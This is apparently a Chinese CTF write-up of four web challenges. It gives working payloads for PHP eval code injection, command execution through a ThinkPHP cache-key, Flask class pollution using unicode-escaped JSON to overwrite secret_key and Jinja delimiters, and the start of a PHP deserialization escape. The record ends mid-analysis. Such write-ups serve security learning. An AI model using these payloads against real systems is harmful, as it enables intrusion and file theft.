CodeInject

1
2
3
4
5
6
7
8
<?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);");

这里的话会将传入的内容转化成对象,这里的话尝试闭合就行

1
1=1);phpinfo();#

image-20250430203606031

1
1=1);system("cat /000f1ag.txt");#

tpdoor

页面提示缓存被禁用

这图标是tp的,先审一下源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
public function index($isCache = false , $cacheTime = 3600)
{

if($isCache == true){
$config = require __DIR__.'/../../config/route.php';
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);
$config['request_cache_except'] = [];
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
return 'cache is enabled';
}else{
return 'Welcome ,cache is disabled';
}
}



}

说实话这个源码给的不全,得自己去翻官方手册了

CheckRequestCache是thinkphp框架中的一个中间件,负责处理请求缓存的,主要功能是在用户请求时检查是否有可用的缓存,如果缓存可用则直接返回缓存内容,从而避免重新处理请求,提升性能。

image-20250514111846342

然后我们看下有请求缓存

image-20250514112350496

可以看到在源码中我们的参数$isCache = false,也就是说此时是关闭请求缓存的

先报错看一下tp的版本

image-20250514113127518

然后我们把源码下下来看下

image-20250514114157907

然后我们发现

image-20250514114312466

这里的话getRequestCache会返回request_cache_key,我们跟进一下这个方法的使用

image-20250514114429397

这里可以看到,在将$cache赋值后,key会传入parseCacheKey函数中刷新key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
protected function parseCacheKey($request, $key)
{
if ($key instanceof Closure) {
$key = call_user_func($key, $request);
}

if (false === $key) {
// 关闭当前缓存
return;
}

if (true === $key) {
// 自动缓存功能
$key = '__URL__';
} elseif (str_contains($key, '|')) {
[$key, $fun] = explode('|', $key);
}

// 特殊规则替换
if (str_contains($key, '__')) {
$key = str_replace(['__CONTROLLER__', '__ACTION__', '__URL__'], [$request->controller(), $request->action(), md5($request->url(true))], $key);
}

if (str_contains($key, ':')) {
$param = $request->param();

foreach ($param as $item => $val) {
if (is_string($val) && str_contains($key, ':' . $item)) {
$key = str_replace(':' . $item, (string) $val, $key);
}
}
} elseif (str_contains($key, ']')) {
if ('[' . $request->ext() . ']' == $key) {
// 缓存某个后缀的请求
$key = md5($request->url());
} else {
return;
}
}

if (isset($fun)) {
$key = $fun($key);
}

return $key;
}
}

仔细看可以发现两个关键点

1
2
3
4
5
6
if (true === $key) {
// 自动缓存功能
$key = '__URL__';
} elseif (str_contains($key, '|')) {
[$key, $fun] = explode('|', $key);
}

这里的话只要key中有管道符|,那么就会以|为分隔符将key分为key和fun两部分

1
2
3
if (isset($fun)) {
$key = $fun($key);
}

然后这里的话会调用$fun($key)函数,所以如果key可控,我们就可以实现任意代码执行

我们看看key是怎么来的

image-20250514115501143

$key是从$config['request_cache_key']中获取的,我们返回来看题

1
2
3
4
5
6
7
if($isCache == true){
$config = require __DIR__.'/../../config/route.php';
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);
$config['request_cache_except'] = [];
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
return 'cache is enabled';

因为这里isCache是弱比较,所以我们可以传参isCache给../../config/route.php写入$config['request_cache_key']

payload

1
?isCache=ls|system

然后访问根目录发现并没变化,想起index.php有个缓存时间,看到有师傅说将cacheTime设置为3

1
?isCache=ls%20/|system&cacheTime=3

但是我设置之后并没成功,可能环境不一样吧,我只能重新开个靶场了

1
?isCache=cat%20/000*|system

easy_polluted

先看看源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

分成几部分去分析一下

1
2
3
4
5
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()

生成一个16字节的随机字节串,并进行md5哈希计算,并将哈希值转化成16进制字符串后返回

1
2
3
4
5
6
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False

一个过滤器,匹配黑名单的字符,匹配到则返回true,否则返回False

1
2
3
4
5
6
7
8
9
10
11
12
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

就是merge函数,也是污染的关键点

1
2
app.secret_key = generate_random_md5()
#随机生成key
1
2
3
class evil():
def __init__(self):
pass

设置一个evil类和构造方法__init__

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

post获取username和password两参数,并设为session,之后对传入的原始数据进行一个filter过滤,若返回true则返回过滤提示,否则进行渲染返回index.html

1
2
3
4
5
6
7
8
9
10
11
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

从session中获取username和password的值,若两者存在且username为adminer,password为key密钥,就返回flag.html渲染的页面并返回flag的内容

其实这里显而易见了,是需要污染key的值,然后我们就可以拿到密码去进行验证,从而拿到flag,看看merge函数的用法

image-20250514171647455

所以我们的payload

1
{"__init__":{"__globals__":{"app":{"secret_key":"123"}}}}

本地测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass
payload = {
"__init__" :
{
"__globals__" :
{
"app" :
{
"secret_key" : "123"
}
}
}
}
Evil = evil()
merge(payload, Evil)
print(app.secret_key)

但是有黑名单过滤,因为这里有json.loads,我们用unicode编码去绕过

本地测试一下

1
2
3
4
5
import json
data = '{"word":"hello \u0077\u006f\u0072\u006c\u0064"}'
data_plus = json.loads(data)
print(data_plus)
#{'word': 'hello world'}

发现unicode编码在load之后也会进行解码

那我们正常打就行

payload

1
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"123456"}}}}

发包

image-20250514174057353

然后我们post传入

1
username=adminer&password=123

之后返回session

1
session=eyJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiYWRtaW5lciJ9.aCRlpw.2IVc7AGVg1ZBHbqs10Pqyks7MUs

访问/admin路由设置session

image-20250514174452431

但是发现好像没有flag

这里的话是需要输出flag,但是[##]不是常规语法标识符

但是我们这里的话是可以自定义标识符的

image-20250514174945781

variable_start_stringvariable_end_string表示变量的开始和结束标识符,例如{{`和`}},所以这里我们需要污染这个属性的值和key

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload={
"__init__":{
"__globals__":{
"app":{
"secret_key":"12345",
"jinja_env":{
"variable_start_string":"[#",
"variable_end_string":"#]"
}
}
}
}
}


编码一下

1
2
3
4
5
6
7
8
9
10
11
12
13
payload={
"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{
"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{
"\u0061\u0070\u0070":{
"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"12345",
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#",
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
}
}
}
}
}

污染后还是之前一样的

Ezzz_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
} Start_Funny_CTF!!!

审代码

1
2
3
4
5
6
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

从字符串 $data 中提取出位于 [] 之间的子字符串。

1
2
3
4
5
6
7
8
9
10
11
12
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}

一个读文件的类

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}

外层需要传入一个start,我们传入?start=gxngxngxn就可以拿到/etc/passwd的信息

然后需要传入一个read,关键在于这个代码

1
$ctf = substrstr($read."[".serialize($readfile)."]");

这里的话因为substrstr函数中只会返回[]之间的字符,所以得想办法逃逸字符

如果说在read中构造[字符串]然后再把后面的注释掉的话但是这里过滤了[]两个字符

image-20250514183927926

所以可以利用$start和$end参数的不同去构造字符串逃逸

1